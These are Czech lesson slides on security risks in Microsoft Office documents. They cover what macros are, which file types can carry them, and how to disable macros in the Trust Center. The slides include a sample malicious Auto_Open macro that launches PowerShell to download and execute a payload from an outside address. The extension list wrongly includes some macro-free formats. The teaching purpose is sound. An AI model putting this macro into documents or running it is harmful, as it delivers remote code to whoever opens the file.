

# Nebezpečí skryté v dokumentech Microsoft Office

A series of horizontal lines of varying lengths and colors (teal, light blue, and white) extending from the left edge of the slide towards the right, positioned below the title.

# Osnova hodiny

- Diskuse o souvislostech s dříve probranou látkou
- Co to jsou makra? A jak je psát? (+ ukázka)
- V jakých souborech se mohou skrývat?
- Správné nastavení úrovně bezpečnosti MS Office

# Pojmy

- Makro/makra
- Visual Basic
- Obfuskace
- Výpočetně úplný / turingovsky kompletní

# Co jsou to makra?

- Způsob jak programovat dodatečnou funkcionalitu do dokumentů nástrojové sady Microsoft office.
- Programy v jazyce Visual Basic.
- Potenciální bezpečnostní slabina.

# Ukázka škodlivého makra

```
Sub Auto_Open()  
Dim exec As String  
exec = "powershell.exe ""IEX ((new-object  
net.webclient).downloadstring('http://10.0.0.13/pay  
load.txt '))"""  
Shell (exec)  
End Sub
```

# Rizikové soubory MS Office dle přípony

- Soubory které mohou obsahovat makra:
  - .doc, .dot, .docx, .dotx, .docm, .dotm, .xls, .xlt, .xlm\*, .xlsx, .xltx, .xlsb, .xlsm, .xltx, .xla, .xlam, .xll, .ppt, .pot, .pptx, .potx, .ppsx, .sldx, .pptm, .potm, .ppsm, .sldm
- Obrana:
  - Otevřít nový dokument, např. MS Word
  - Nastavení > Centrum bezpečnosti > Nastavení centra bezpečnosti > **Vypnout všechna makra bez oznámení**